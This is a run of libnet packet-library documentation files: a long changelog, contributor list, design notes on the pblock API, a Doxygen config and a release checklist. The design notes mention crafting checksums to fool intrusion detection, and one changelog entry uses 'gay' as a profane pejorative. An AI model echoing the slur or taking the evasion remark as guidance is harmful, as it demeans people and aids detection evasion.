automatically changes size as well. Added libnet_pblock_delete() to remove a pblock from the list. Added ip.c sample program (builds an arbitrary IP packet). Added additional payload sanity checks to libnet_build_*. Added a payload to sample/icmp_echo_cq.c. Added an MPLS builder. Added an 802.1x builder. Added an RPC builder! Bout time eh? Fixed do1x.c sample code to make the frame valid. Fixed link-interface semantics under Mac/OSX Changed libnet_stats to all be unsigned long longs to accomodate all of hardcore packet writers. Fixed IPv6 support (to some extent) removed the IP_HDRINCL stuff and reworked the resolver stuff to use net_pton() and inet_ntop(). Fixed libnet_build_icmpv4_*() to properly handle the IP header in the payload. Fixed libnet_build_igmp() to handle checksums properly. Fixed a bug in libnet_build_dnsv4() -- now it will work for TCP or UDP -- see the sample program for details... Fixed a bug in sample/dhcp_discover.c Added multiple packet interface (called the context queue interface). Until I finish the manpage, see the sample code and README files for instructions on how it works. Fixed Cygwin support. Fixed an OS/X compilation error due to lack of system header files. Fixed OS/X link layer bug. Fixed a bug in pblock_coalesce() that resulted in bad checksums when the advanced mode was enabled. Fixed a potential memory leak in pblock_coalesce(). Fixed a potential memory leak in libnet_select_device(). Fixed a potential memory leak in libnet_plist_chain_new(). Fixed Solaris support for IPv6 address support. Fixed minor bugs in libnet_advanced.c. Added loopback device support. Mon Aug 5 15:18:52 PDT 2002 1.1.0 First 1.1.0 non-beta release. Added libnet_adv_write_link() which allows an advanced user to access libnet's low-level frame injection functionality directly. Wed Jul 10 08:18:15 PDT 2002 1.1.0 Beta 07b Added some words to the manpage. Fixed a typo in libnet-functions.h -- forgot a comma. Sun Jul 7 10:37:12 PDT 2002 1.1.0 Beta 07a My bad. Forgot to `make distclean` before last release resulting in some compilation errors. My bad. Forgot to add advanced *_ADV writing support to libnet_write(). Simple fix. Tue Jul 2 08:42:57 PDT 2002 1.1.0 Beta 07 BETA support for IPv6. Fixed the IP and TCP options bugs that bound the TCP and IP payloads to the IP and TCP headers respectively and saw options being appended after the payload. Added libnet_hex_aton(). This functions reads in arbirtrarily long hex strings from the command line and returns the equivalent byte string. It does an implicit malloc() so make sure to free(). Frédéric Raynal submitted a patch to break the coalesce loop down to two passes using realloc resulting in a modest performance increase! Cool! Added "Advanced Mode" which will initialize the library with additional functionality for advanced users who "know what they're doing". Basically this feature will remove some of the sanity checks libnet does when building and injecting packets, at the programmer's peril. It also exposes the libnet_adv() functions. FINALLY changed that irritating struct ether_addr redefintion problem. I internalized the name space of it (-> libnet_ether_addr) so there will be no more issues there. Please update your code accordingly! Added IGMP checksum support which was omitted by accident. Removed netinet/ip_icmp.h from include list. This was causing problems when including dnet.h which includes other system headers. We can probably stand to remove several headers from libnet.h.in. Added sanity check to ensure that when *build_ethernet() is called the injection method is LIBNET_LINK (except when advanced mode is on). Thu Mar 28 22:18:46 PST 2002 1.1.0 Beta 06 Fixed ICMP unreachable checksum error and payload issues. Now using the payload interface with unreachables will append the payload to the IPv4 header of the "offending packet". Split STP builder into two; libnet_build_stp_conf() and libnet_build_stp_tcn(). New CHANGELOG format. :) Mar 24 2002 1.1.0 Beta 05 New building logic. Top down. Much smarter, we now build packets and frames like an OS kernel. Added Cisco ISL builder. Mar 18 2002 1.1.0 Beta 04 Added an STP builder. Hooks for Cisco ISL builder. Changed libnet_init() to now accept an IP address for the device (so either "fxp0" or "192.168.0.1" will work). Added libnet_clear_packet() to free packet memory when we're done with it. Feb 28 2002 1.1.0 Beta 03 Added 802.1q, 802.2, 802.3 builders. Feb 25 2002 1.1.0 Beta 02 Fixed Cygwin support. Feb 01 2002 1.1.0 Beta 01 Complete new API and overhaul of most everything. Improved linux packet socket support. Renamed libnet_host_lookup() and libnet_name_resolve() to the more intuitive libnet_addr2name() and libnet_name2addr(). All of the address resolution functions return host byte order (which is what the build functions want). Removed a ton of code from every corner of libnet. Removed alot of useless crap: misc directory ports directory util directory cleaned out the test directory and moved it to sample The libnet-config script is no longer needed to specify machine endianess -- that has been moved to libnet.h and done at compile time. You can still use it to specify other CPP constants as well as libraries. Added cygwin support. Hooks for a few ieee 802 builders. Added NTP builder. Added DHCP builder. Added BOOTP builder. Added Cisco CDP builder (needs work). Added IPSEC builder (needs work). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1.0.2a 02.06.2001 Oops! Messed up the install stuff. Fixed now. Fixed the config.sub to correctly look for arm* architecture. Fixed the test.sh script (Thankz again to syke). 1.0.2 02.03.2001 Added OpenBSD 2.7 etherspoof lkm and kernel patch. (Thankz to obecian). Added FreeBSD 4.0-STABLE (and 5.0-CURRENT?) etherspoof kernel patch. (Thankz to Matt Bing). Added FreeBSD 4 support for automagic MAC address spoofing (via ioctl). No more lkm! (Thankz to Toni Andjelkovic). Added VRRP support. Fixed a NULL pointer check in libnet_checksum.c. (Thankz to syke). Fixed a function naming problem in libnet_if_addr.c. (Thankz to gigisull). Fixed a potential byte error in libnet_version. (Thankz to wotan). Fixed a potential overflow in libnet_link_sockpacket.c and libnet_link_dlpi.c. (Thankz to Jarno Huuskonen). Fixed a manpage discrepancy (get_ip_addr returns host-byte, not network-byte). Fixed arena allocation code (misalignments and whatnot) and arena manpage entry (2 arguments were swapped). (Thankz to Bryan T. Schmersal). Fixed datatype discrepancies (u_char was used liberally when char should have been used). (Thankz to Kyle Hargraves). Fixed the PF_PACKET interface to work correctly. (Thankz to Smiler). 1.0.1b 04.07.2000 Fixed portlist chaining code to allow for more than one active plist chain at a time (as per twitch's patch). Fixed discrepancy between the manpage and code for libnet_close_link_interface. It now returns 1 on success as per libnet standard (thankz to Toni Andjelkovic for pointing this out). 1.0.1a 03.29.2000 Fixed a small bug in libnet_link_dlpi.c. 1.0.1 12.19.1999 Fixed a typo in libnet-headers.h ARH_H -> ARP_H. Fixed a small typo in ether_mod-2.5.c. Pre-happy BD to libnet! She'z almost 2 yearz old! 1.0.0 10.27.1999 Added verbose html documentation. Added verbosely commented example code. Fixed OSPF testcode compile issues. Added ping of death ICMP test code module. Fixed manpage installation wrongness. Fixed a reported bug in OpenBSD etherspoof lkm. Merged OSPF lsa checksum code into main checksum module. Fixed a reported bug in the Makefile.in under Solaris when make install was invoked, the ln failed. Fixed linux-based IP broadcasting using the raw sockets interface. 0.99g 09.13.1999 Added an OSPF builder (which is still in beta). Fixed the Linux/configure.in bug. This was an odd bug that affected Linux-based boxes, but not BSD-based machines. The configure script refused to expand most of the Makefile.in macros in every file because of a conditional check. Fixed some Makefile.in issues. 0.99f 09.09.1999 Changed test/poink.c to not rely on a previous install of libnet to compile. Added a redhat RPM. Changed sourcefile naming scheme to libnet_*. Removed all assertions from the tree. We are moving closer to a 1.0 release and assertions have no place in production code. Furthermore, there should be no exit points inside a library. Currently, all functions that made assertions now return an integral 1 upon success and a -1 when the assertion would have failed (some had to be changed from returning void to returning int). This will not break backward compatbility. Fixed bugs in the arena code. next_packet_from_arena would never return the first chunk of memory, only the "next". It now handles this special case. Thanks to Sascha Gresk for locating this bug. Fixed another potential bug when attempting to allocate large packet sizes inside an arena. Added an OpenBSD 2.5 ether_spoof lkm. Fixed TCP options bugs. 0.99e 07.21.1999 Modified the libnet-config script to work more intutively now. It accepts multiple arguments. See README.libnet-config. Solaris m4/sh fixes (autoconf phase). Internal error handling changed to use libnet_error. 0.99d 06.24.1999 Added: build_icmp_redirect(). Added: FreeBSD 3.x support for spoofing source. Added: libnet_error(). Added: port list chaining code. MAC addrresses (see README.bpf). Bugfix: libnet_select_device correctly accepts NULL device arguments. Bugfix: build_icmp.c now copies the correct amount of header information. Bugfix: OpenBSD needs HAVE_SOCKADDR_SA_LEN. Changed: write_ip internal semantics. Cleaner and faster now. Changed: init_packet argument parameters. More correct now. Takes a u_short vs. a size_t. 0.99c 05.28.1999 link_int -> libnet_link_int. Misc small testcode fixes. Added libnet_tcp_header and libnet_ip_header. Added libnet-config shell script, see README.libnet-config and the manpage. Updated ports. Revamped checksum module -- it's much simpler and more efficient (ripped out arch specific code which seemed to be buggy with series' of very large packets). Dug Song wrote it, with small fixes/changes by MDS. 0.99b 05.06.1999 Fixed a nasty UDP/TCP + data checksum bug. Header structure further divided into subfiles. Moved get_hwaddr into low-level interface locales. Fixed the BSD get_hwaddr (dugsong@anzen.com). Ported to BSD/OS 3.x. Added `LIBNET_VERSION` symbolic constant. build_ip with payload semantics changed (now requires a payload length which is more intuitive). Fixed the `disappearing MAC address problem` within the linux version of get_hwaddr(). 0.99a 04.14.1999 Linux 2.0.x kernels don't have 0.99 included this header file without checking to see if it present. This is now fixed. Non-x86 systems have no tcp_check function but the stub.c sourcefile did not check this. This is now fixed. Added the utilities directory and get_mac.c. 0.99 04.13.1999 Major manpage redux. Added (broken?) PF_PACKET support for Linux (see README.linux). Moved alot of m4 from configure.in to aclocal.m4. Added Linux m4 macro to detect PF_PACKET. Added build_icmp_unreach Added build_icmp_timestamp Added standard nomenclature for all the ICMP type/code symbolic constants (see the manpage). Changed internal network structure nomenclature. Decided to stop using the word nomenclature so much. Fixed semantics of get_ipaddr (s/PF_INET/AF_INET). Added a symlink in the install directory so libnet is also named `libpwrite`. Added ASN.1 conversion routines, mostly pilfered from ucd snmplib. Removed get_hwaddr from sockpacket.c and made the existing one portable to Linux. Added more testcode and changed testcode structure to be more intuitive. Added init_packet and destroy_packet. Added an arena allocator. Fixed alignment issues on SPARC and Alpha (possibly others with strict alignment requirements). Added a packet dumping routine. Not fully tested. Testcode updates including a master testcode shell script. Added stub functions to ease the eventual transition to a more proper `libnet_*` function naming convention. See README.stubs for more info. 0.10a 02.04.1999 Added the libnet.s2h configuration file to the distribution. GLIBC fix. 0.10 01.31.1999 Many low-level changes, same interface though. Split up the main libnet.h file into two files. Autoconf changes: checks to see if the underlying architecture needs to be aligned. flexible install location. explicitly set $CC option in Makefile.in. Added ensure-dir.sh. Changes DEBUG semantics as I was told the previous stuff broke on some compilers. Created a FreeBSD/OpenBSD ports entry. SGI snoop (drain) interface fixed. Solaris/HPUX DLPI interface fixed. Support for getting local IP addresses. Support for getting local hardware addresses. Added a DNS packet builder. Added an RIP packet builder. Added an ICMP MASKREQ/REPLY packet builder. Added ICMP at the link layer test code. Changed GLIBC version detection semantics. 0.9 12.15.1998 Major changes/additions here... Added lowlevel packet building and writing routines with a codebase from libpcap. Broken DPLI support (fixme!). Added ethernet and ARP building routines. Added ICMP_ECHO building routine which led to the Discovery of an odd kernel panic bug under OpenBSD (see hook.c in test dir). Added IGMP building routine. Reworked autoconf script. Fixed Linux ip_sum vs. ip_csum naming issue. Fixed Solaris checksums (2.4, 2.5.x). Added NetBSD autoconf entry. Changed BSD_BYTE_SWAP semantics to correctly handle IP datagrams through BPF (see write_ip.c). 0.8c 11.10.1998 Added more testcode. 0.8b 10.21.1998 OK. I THINK WE'VE FINALLY FIXED THAT GLIBC THING. Ported to alpha Linux. 0.8a 10.15.1998 Added support for IP TOS bits (oops. Broke backward compatibility again. Like I said, don't rely on this until 1.x). 0.8 10.13.1998 Added support for IP options. Added support for TCP options. Added a dummy version function. Fixed linux libc vs. glibc nomenclature discrepancy. Solaris checksums fixed for non-payload laden packets? 0.7b 09.22.1998 Linux glibc/libc nomenclature anomoly still there. Fixed Linux/BSD icmp header size problem. 0.7a 08.26.1998 Fixed payload support (see test code). 0.7 08.25.1998 Solaris port (checksums broken -- Solaris has gay fucking quirks when it comes to checksumming on raw sockets). Added autoconf scripts. Added psuedorandom number generation code. Added payload support (breaks backward compatability and is untested). 0.6 06.21.1998 Fixed UDP checksum. Removed USE_NAME CPP option made it a run time decision. Makes code more extensible, but breaks backward compatibility. 0.5 06.02.1998 Added TCP/UDP/IP packet assembly routines. Added a checksum function. Added a manpage. Removed daemonizing function (BSD has one). UDP checksums broken... 0.4 01.12.1998 IP checksum (x86 assembly implementation). 0.3 01.12.1998 daemonizing function. 0.2 01.11.1998 raw socket function changed to allow user designated protocol for raw socket 0.1 01.05.1998 Initial release, contains: network byte order -> human readable IP address, human readable IP address -> network byte order, simple raw socket / IP_HDRINCL wrapper, TCP checksum (x86 assembly implementation) libnet-1.3/doc/CONTRIB0000664000175000017500000000536014506572036012652 0ustar syqsyq=============================================================================== $Id: CONTRIB,v 1.9 2004/11/09 07:05:06 mike Exp $ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman http://www.packetfactory.net/libnet =============================================================================== People who have volunteed to check libnet release candidates: - Thomas Habets : Irix, snoop, dlpi - Emilio A. Escobar : Ubuntu, *BSD, Solaris - Rich Burridge : Solaris - Dirk Meyer : FreeBSD - Dagobert Michelsen : Solaris Since 1.1.3 the list below is no longer maintained, see CHANGELOG. Barbato, Luca . faster C checksum routine Beverly, Scott Bowman, Don Coulter, Michae l . arp bugfix Damron, Jason . bugfixes . IP/TCP options bugfixes . RPC builder . token ring and fddi support Davis, Michael . bugfixes Dulai, Danny Harhalakis, Stefanos . debian packaging and help with autotools Keramida, Giorgos . various bugfixes Kuehl, Kirby . u_short -> u_long patch . 1.1.1 Win32 porting . tons and tons of other stuff Newsham, Tim . general elitism O'Donnell, Adam . Solaris IPv6 address fix Omella, Alfredo Andres . Solaris DLPI fix Paleino, David . debian packaging and help with autotools Raynal, Frederic . cq interface . numerous bugfixes and suggestions . keeping the project alive during my sabbatical! Roberto Larcher . 1.1.0 Win32 Porting Salvatori, Alessandro . many many patches Scheck, Robert . latin-1 to utf-8 conversion from Fedora Sehgal, Anupma . pblock sanity check oversight fix Schlott, Stefan . IPv6 code Shields, Michael . configure.in patch Simons, Terry . OS/X port Song, Doug . inspiration Su, Joe . IPv6 traffic clas and flow label fix Yardley, Tim libnet-1.3/doc/DESIGN_NOTES0000664000175000017500000001403614506572036013473 0ustar syqsyq=============================================================================== $Id: DESIGN_NOTES,v 1.3 2004/01/17 07:51:19 mike Exp $ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman http://www.packetfactory.net/libnet =============================================================================== DESIGN NOTES In order to remove most of the decisions a user had to make (how much memory to allocate for a packet, where to build the packet headers, where to do the checksums, how to inject the packet, etc) I decided to move ALL of that logic into the library, behind the scenes. To initialize things and get an initial libnet context, the applications programmer calls: libnet_t *l; l = libnet_init(INJECTION_TYPE, PROTOCOL, DEVICE, ERRBUFFER); where: INJECTION_TYPE = LIBNET_RAW4 (ipv4 raw socket) LIBNET_RAW6 (ipv6 raw socket) LIBNET_LINK (link-layer socket) LIBNET_RAW4_ADV (advanced mode) LIBNET_RAW6_ADV (advanced mode) LIBNET_LINK_ADV (advanced mode) PROTOCOL = IP protocol to be used for the raw socket. This is ignored for the link-layer, and almost always IPPROTO_RAW for ipv4. DEVICE = The canoical name of the device, used only with the link layer stuff. For ipv4 raw socket, you can leave this NULL. If it's NULL with the link-layer, libnet will try to find a suitable device. ERRBUFFER = Until we have our libnet context l, this is where errors will be. Inside of this newly created context we have a ton of stuff including a file descriptor for the packet device the injection type, the device name (if applicable) a pointer to the libnet protocol block structure and some other ancillary data. Additionally, we will soon be supporting context manipulation functions that will allow the user to set certain flags inside the context. This interface will be akin to libnet_toggle_checksum() for those of you who care. When a packet is first constructed, the protocol block (pblock) stuff comes into play. On the outside, to an applications programmer, a packet is constructed more or less like normal (with a few notable exceptions): libnet_ptag_t ip_tag; ip_tag = libnet_build_ipv4( LIBNET_UDP_H, 0, 242, 0, 64, IPPROTO_UDP, 0, /* NEW: checksum */ src_ip, dst_ip, NULL, 0, l, /* NEW: libnet context */ 0 /* NEW: libnet ptag */ ); The checksum allows an applications programmer to decide if he wants to specify his own random value (useful in NIDS fooling) or precompute the sum elsewhere, or leave it zero and by default libnet will take care of it (although this is over-ridable). The libnet context is the opague pointer we allocated earlier and will show up in just about every libnet function call from here on out. The libnet ptag is a way to reference an ALREADY BUILT protocol block. This is necessary if you want to change some values of a header inside of a packet injection loop. So, when you call a build function, internally, it's a completely new system. If the item you're constructing is NEW, a new pblock will be allocated and linked onto the end of the list. It may be helpful to think of this as a "protocol stack" because you MUST build your packets IN ORDER, from the top of the protocol stack on down (i.e.: tcp -> ip -> ethernet). Once you build a new protocol block, it's "pushed down on the stack" and you move on to the next. However, this analogy breaks down because you can modify any one of these items and when they're assembled for the final packet, libnet starts at the head of the list. It may be MORE helpful to think of the pblock chain as a doubly linked FIFO queue, because that's what it is. :) For example: libnet_ptag_t 1; libnet_ptag_t 2; libnet_ptag_t 3; 1 = libnet_build_data(blah, l, 0); 2 = libnet_build_tcp(blah, l, 0); 3 = libnet_build_ipv4(blah, l, 0); Will result in: ---------- ---------- ---------- l->protocol_blocks--->| data |----->| tcp |----->| ip | | pblock |<-----| pblock |<-----| pblock |----| --| ptag: 1| | ptag: 2| | ptag: 3| | | ---------- ---------- ---------- v | ----- |-------------------------------------------> --- - To access and change the ip header, an additional call to libnet_build_ipv4 with the ptag argument would be made: libnet_build_ipv4(blah..., l, 3); Note that the ptag DOES NOT CHANGE. Once a pblock is built, its tag is set in stone. When it comes time to write the packet to the wire, libnet_pblock_coalesce() is called to assemble the packet fragments. 1) Gather up all of the pblock sizes in order to allocate one contiguous block of memory. 2) Copy over the packet fragments. 3) Check each pblock to see which items need checksums, then perform that checksum over each portion (the entire packet is needed for some checksums). So that's a quick description of what's going on under the hood. There's more, but this should be enough to get you started. libnet-1.3/doc/Doxyfile.in0000664000175000017500000002673014506572036013746 0ustar syqsyq#--------------------------------------------------------------------------- # Project related configuration options #--------------------------------------------------------------------------- DOXYFILE_ENCODING = UTF-8 PROJECT_NAME = @PACKAGE_NAME@ PROJECT_NUMBER = @PACKAGE_VERSION@ PROJECT_BRIEF = "A Portable Framework for Low-Level Network Packet Construction" PROJECT_LOGO = OUTPUT_DIRECTORY = @top_builddir@/doc CREATE_SUBDIRS = NO ALLOW_UNICODE_NAMES = NO OUTPUT_LANGUAGE = English BRIEF_MEMBER_DESC = YES REPEAT_BRIEF = YES ABBREVIATE_BRIEF = ALWAYS_DETAILED_SEC = NO INLINE_INHERITED_MEMB = NO FULL_PATH_NAMES = NO STRIP_FROM_PATH = include STRIP_FROM_INC_PATH = SHORT_NAMES = NO JAVADOC_AUTOBRIEF = NO QT_AUTOBRIEF = NO MULTILINE_CPP_IS_BRIEF = NO INHERIT_DOCS = YES SEPARATE_MEMBER_PAGES = NO TAB_SIZE = 4 ALIASES = OPTIMIZE_OUTPUT_FOR_C = YES OPTIMIZE_OUTPUT_JAVA = NO OPTIMIZE_FOR_FORTRAN = NO OPTIMIZE_OUTPUT_VHDL = NO EXTENSION_MAPPING = MARKDOWN_SUPPORT = YES TOC_INCLUDE_HEADINGS = 0 AUTOLINK_SUPPORT = YES BUILTIN_STL_SUPPORT = NO CPP_CLI_SUPPORT = NO SIP_SUPPORT = NO IDL_PROPERTY_SUPPORT = YES DISTRIBUTE_GROUP_DOC = NO GROUP_NESTED_COMPOUNDS = NO SUBGROUPING = YES INLINE_GROUPED_CLASSES = NO INLINE_SIMPLE_STRUCTS = NO TYPEDEF_HIDES_STRUCT = NO LOOKUP_CACHE_SIZE = 0 #--------------------------------------------------------------------------- # Build related configuration options #--------------------------------------------------------------------------- EXTRACT_ALL = NO EXTRACT_PRIVATE = NO EXTRACT_PACKAGE = NO EXTRACT_STATIC = NO EXTRACT_LOCAL_CLASSES = NO EXTRACT_LOCAL_METHODS = NO EXTRACT_ANON_NSPACES = NO HIDE_UNDOC_MEMBERS = YES HIDE_UNDOC_CLASSES = YES HIDE_FRIEND_COMPOUNDS = NO HIDE_IN_BODY_DOCS = NO INTERNAL_DOCS = NO CASE_SENSE_NAMES = YES HIDE_SCOPE_NAMES = NO HIDE_COMPOUND_REFERENCE= NO SHOW_INCLUDE_FILES = YES SHOW_GROUPED_MEMB_INC = NO FORCE_LOCAL_INCLUDES = NO INLINE_INFO = YES SORT_MEMBER_DOCS = YES SORT_BRIEF_DOCS = NO SORT_MEMBERS_CTORS_1ST = NO SORT_GROUP_NAMES = NO SORT_BY_SCOPE_NAME = NO STRICT_PROTO_MATCHING = NO GENERATE_TODOLIST = YES GENERATE_TESTLIST = YES GENERATE_BUGLIST = YES GENERATE_DEPRECATEDLIST= YES ENABLED_SECTIONS = MAX_INITIALIZER_LINES = 30 SHOW_USED_FILES = YES SHOW_FILES = YES SHOW_NAMESPACES = YES FILE_VERSION_FILTER = LAYOUT_FILE = CITE_BIB_FILES = #--------------------------------------------------------------------------- # Configuration options related to warning and progress messages #--------------------------------------------------------------------------- QUIET = YES WARNINGS = YES WARN_IF_UNDOCUMENTED = YES WARN_IF_DOC_ERROR = YES WARN_NO_PARAMDOC = YES WARN_AS_ERROR = NO WARN_FORMAT = "$file:$line: $text " WARN_LOGFILE = #--------------------------------------------------------------------------- # Configuration options related to the input files #--------------------------------------------------------------------------- INPUT = @top_srcdir@/doc/api-main.md \ @top_srcdir@/include/libnet \ @top_srcdir@/include/libnet.h INPUT_ENCODING = UTF-8 FILE_PATTERNS = *.h RECURSIVE = YES EXCLUDE = @top_srcdir@/include/libnet/libnet-headers.h \ @top_srcdir@/include/libnet/libnet-types.h \ @top_srcdir@/include/libnet/libnet-asn1.h \ @top_srcdir@/include/libnet/libnet-structures.h EXCLUDE_SYMLINKS = NO EXCLUDE_PATTERNS = */sample/* EXCLUDE_SYMBOLS = EXAMPLE_PATH = EXAMPLE_PATTERNS = EXAMPLE_RECURSIVE = NO IMAGE_PATH = INPUT_FILTER = FILTER_PATTERNS = FILTER_SOURCE_FILES = NO FILTER_SOURCE_PATTERNS = USE_MDFILE_AS_MAINPAGE = @top_srcdir@/doc/api-main.md #--------------------------------------------------------------------------- # Configuration options related to source browsing #--------------------------------------------------------------------------- SOURCE_BROWSER = NO INLINE_SOURCES = NO STRIP_CODE_COMMENTS = YES REFERENCED_BY_RELATION = YES REFERENCES_RELATION = YES REFERENCES_LINK_SOURCE = YES SOURCE_TOOLTIPS = YES USE_HTAGS = NO VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # Configuration options related to the alphabetical class index #--------------------------------------------------------------------------- ALPHABETICAL_INDEX = YES IGNORE_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the HTML output #--------------------------------------------------------------------------- GENERATE_HTML = @GENERATE_HTML@ HTML_OUTPUT = html HTML_FILE_EXTENSION = .html HTML_HEADER = @top_srcdir@/doc/api-head.html HTML_FOOTER = @top_srcdir@/doc/api-foot.html HTML_STYLESHEET = HTML_EXTRA_STYLESHEET = @top_srcdir@/doc/api-style.css HTML_EXTRA_FILES = HTML_COLORSTYLE_HUE = 120 HTML_COLORSTYLE_SAT = 50 HTML_COLORSTYLE_GAMMA = 40 HTML_TIMESTAMP = NO HTML_DYNAMIC_SECTIONS = NO HTML_INDEX_NUM_ENTRIES = 100 GENERATE_DOCSET = NO DOCSET_FEEDNAME = "Doxygen generated docs" DOCSET_BUNDLE_ID = org.doxygen.Project DOCSET_PUBLISHER_ID = org.doxygen.Publisher DOCSET_PUBLISHER_NAME = Publisher GENERATE_HTMLHELP = @GENERATE_HTMLHELP@ CHM_FILE = @PACKAGE_NAME@.chm HHC_LOCATION = @HHC_PATH@ GENERATE_CHI = @GENERATE_CHI@ CHM_INDEX_ENCODING = BINARY_TOC = NO TOC_EXPAND = NO GENERATE_QHP = NO QCH_FILE = QHP_NAMESPACE = org.doxygen.Project QHP_VIRTUAL_FOLDER = doc QHP_CUST_FILTER_NAME = QHP_CUST_FILTER_ATTRS = QHP_SECT_FILTER_ATTRS = QHG_LOCATION = GENERATE_ECLIPSEHELP = NO ECLIPSE_DOC_ID = org.doxygen.Project DISABLE_INDEX = YES GENERATE_TREEVIEW = NO ENUM_VALUES_PER_LINE = 4 TREEVIEW_WIDTH = 250 EXT_LINKS_IN_WINDOW = NO FORMULA_FONTSIZE = 10 FORMULA_TRANSPARENT = YES USE_MATHJAX = NO MATHJAX_FORMAT = HTML-CSS MATHJAX_RELPATH = http://cdn.mathjax.org/mathjax/latest MATHJAX_EXTENSIONS = MATHJAX_CODEFILE = SEARCHENGINE = NO SERVER_BASED_SEARCH = NO EXTERNAL_SEARCH = NO SEARCHENGINE_URL = SEARCHDATA_FILE = searchdata.xml EXTERNAL_SEARCH_ID = EXTRA_SEARCH_MAPPINGS = #--------------------------------------------------------------------------- # Configuration options related to the LaTeX output #--------------------------------------------------------------------------- GENERATE_LATEX = @GENERATE_LATEX@ LATEX_OUTPUT = latex LATEX_CMD_NAME = latex MAKEINDEX_CMD_NAME = makeindex COMPACT_LATEX = NO PAPER_TYPE = @PAPER_SIZE@ EXTRA_PACKAGES = LATEX_HEADER = LATEX_FOOTER = LATEX_EXTRA_STYLESHEET = LATEX_EXTRA_FILES = PDF_HYPERLINKS = YES USE_PDFLATEX = YES LATEX_BATCHMODE = YES LATEX_HIDE_INDICES = NO LATEX_SOURCE_CODE = NO LATEX_BIB_STYLE = plain LATEX_TIMESTAMP = NO #--------------------------------------------------------------------------- # Configuration options related to the RTF output #--------------------------------------------------------------------------- GENERATE_RTF = @GENERATE_RTF@ RTF_OUTPUT = rtf COMPACT_RTF = NO RTF_HYPERLINKS = NO RTF_STYLESHEET_FILE = RTF_EXTENSIONS_FILE = RTF_SOURCE_CODE = NO #--------------------------------------------------------------------------- # Configuration options related to the man page output #--------------------------------------------------------------------------- GENERATE_MAN = @GENERATE_MAN@ MAN_OUTPUT = man MAN_LINKS = NO #--------------------------------------------------------------------------- # Configuration options related to the XML output #--------------------------------------------------------------------------- GENERATE_XML = @GENERATE_XML@ XML_OUTPUT = xml XML_PROGRAMLISTING = YES #--------------------------------------------------------------------------- # Configuration options related to the DOCBOOK output #--------------------------------------------------------------------------- GENERATE_DOCBOOK = NO DOCBOOK_OUTPUT = docbook DOCBOOK_PROGRAMLISTING = NO #--------------------------------------------------------------------------- # Configuration options for the AutoGen Definitions output #--------------------------------------------------------------------------- GENERATE_AUTOGEN_DEF = NO #--------------------------------------------------------------------------- # Configuration options related to the Perl module output #--------------------------------------------------------------------------- GENERATE_PERLMOD = NO PERLMOD_LATEX = NO PERLMOD_PRETTY = YES PERLMOD_MAKEVAR_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the preprocessor #--------------------------------------------------------------------------- ENABLE_PREPROCESSING = YES MACRO_EXPANSION = NO EXPAND_ONLY_PREDEF = NO SEARCH_INCLUDES = YES INCLUDE_PATH = INCLUDE_FILE_PATTERNS = PREDEFINED = DOXYGEN_SHOULD_SKIP_THIS EXPAND_AS_DEFINED = SKIP_FUNCTION_MACROS = YES #--------------------------------------------------------------------------- # Configuration options related to external references #--------------------------------------------------------------------------- TAGFILES = GENERATE_TAGFILE = @top_builddir@/doc/@PACKAGE_NAME@.tag ALLEXTERNALS = NO EXTERNAL_GROUPS = YES EXTERNAL_PAGES = YES #--------------------------------------------------------------------------- # Configuration options related to the dot tool #--------------------------------------------------------------------------- CLASS_DIAGRAMS = YES DIA_PATH = HIDE_UNDOC_RELATIONS = YES HAVE_DOT = @HAVE_DOT@ DOT_NUM_THREADS = 0 DOT_FONTNAME = Helvetica DOT_FONTSIZE = 10 DOT_FONTPATH = CLASS_GRAPH = YES COLLABORATION_GRAPH = YES GROUP_GRAPHS = YES UML_LOOK = NO UML_LIMIT_NUM_FIELDS = 10 TEMPLATE_RELATIONS = NO INCLUDE_GRAPH = YES INCLUDED_BY_GRAPH = YES CALL_GRAPH = NO CALLER_GRAPH = NO GRAPHICAL_HIERARCHY = YES DIRECTORY_GRAPH = YES DOT_IMAGE_FORMAT = png INTERACTIVE_SVG = NO DOT_PATH = @DOT_PATH@ DOTFILE_DIRS = MSCFILE_DIRS = DIAFILE_DIRS = PLANTUML_JAR_PATH = PLANTUML_CFG_FILE = PLANTUML_INCLUDE_PATH = DOT_GRAPH_MAX_NODES = 50 MAX_DOT_GRAPH_DEPTH = 0 DOT_TRANSPARENT = NO DOT_MULTI_TARGETS = YES GENERATE_LEGEND = YES DOT_CLEANUP = YES libnet-1.3/doc/HACKING.md0000664000175000017500000001113114506572036013206 0ustar syqsyqMaintenance and Release Checklist ================================= Maintenance ----------- * Leverage GitHub issues for milestone planning * Reference issues from GitHub pull requests to alert issue subscribers * Use version in `configure.ac` for -betaN/-rcN and GA releases * Bump ABI version in `src/Makefile.am` just before release! (see below) * Coding style is C89 keeping consistent brace and indentation style. Release Checklist ----------------- * Bump version to -betaN/-rcN or GA version to be released * Update ChangeLog, follow http://keepachangelog.com/ loosely - Inform users in a plain language of changes and bug fixes - Do *not* copy-paste GIT commit logs! - Order entries according to importance, most relevant first * Run unit tests: `make check` * Make at least one `-rcN` release and test it in an actual real project * **REMEMBER:** bump ABI version according to below rules * Tag using `vMAJOR.MINOR[.PATCH]` syntax, `.PATCH` optional git tag v1.2 * Push last commit(s) *and* tags to GitHub git push git push --tags * Make release make distclean ./autogen.sh ./configure make release * Create new release in GitHub releases page * Copy and paste ChangeLog entry, check any stale links in *Preview*! * Upload release zip/tarball and MD5 files from `make release` stage Library Versioning ------------------ Libnet relies on GNU Libtool for building the library. For a user of the library it is important to maintain a clear ABI versioning scheme. This is not the same as the Libnet version, but rather the library "compatibility level". The Libnet ABI version is specified in `src/Makefile.am` and looks like this: libnet_la_LDFLAGS = -version-info 0:0:0 \ \ `-- age \ `--- revision `---- current It must be updated according to the [GNU Libtool recommendations][1]: 1. Start with version information of `0:0:0` for each libtool library. 2. Update the version information only immediately before a public release of your software. More frequent updates are unnecessary, and only guarantee that the current interface number gets larger faster. 3. If the library *source code has changed at all* since the last update, then increment revision (`c:r:a` becomes `c:r+1:a`). 4. If any *interfaces have been added, removed, or changed* since the last update, increment current, and set revision to 0. 5. If any *interfaces have been added* since the last public release, then increment age. 6. If any *interfaces have been removed or changed* since the last public release, then set age to 0. The libtool ABI versioning logic is very confusing but works if you just disable your brain and follow the rules, one by one. **Example #1:** a new function has been added, none of the existing ones have changed. The initial version is 1:0:0, we follow the rules above to the letter: increase revision, increase current and set revision to 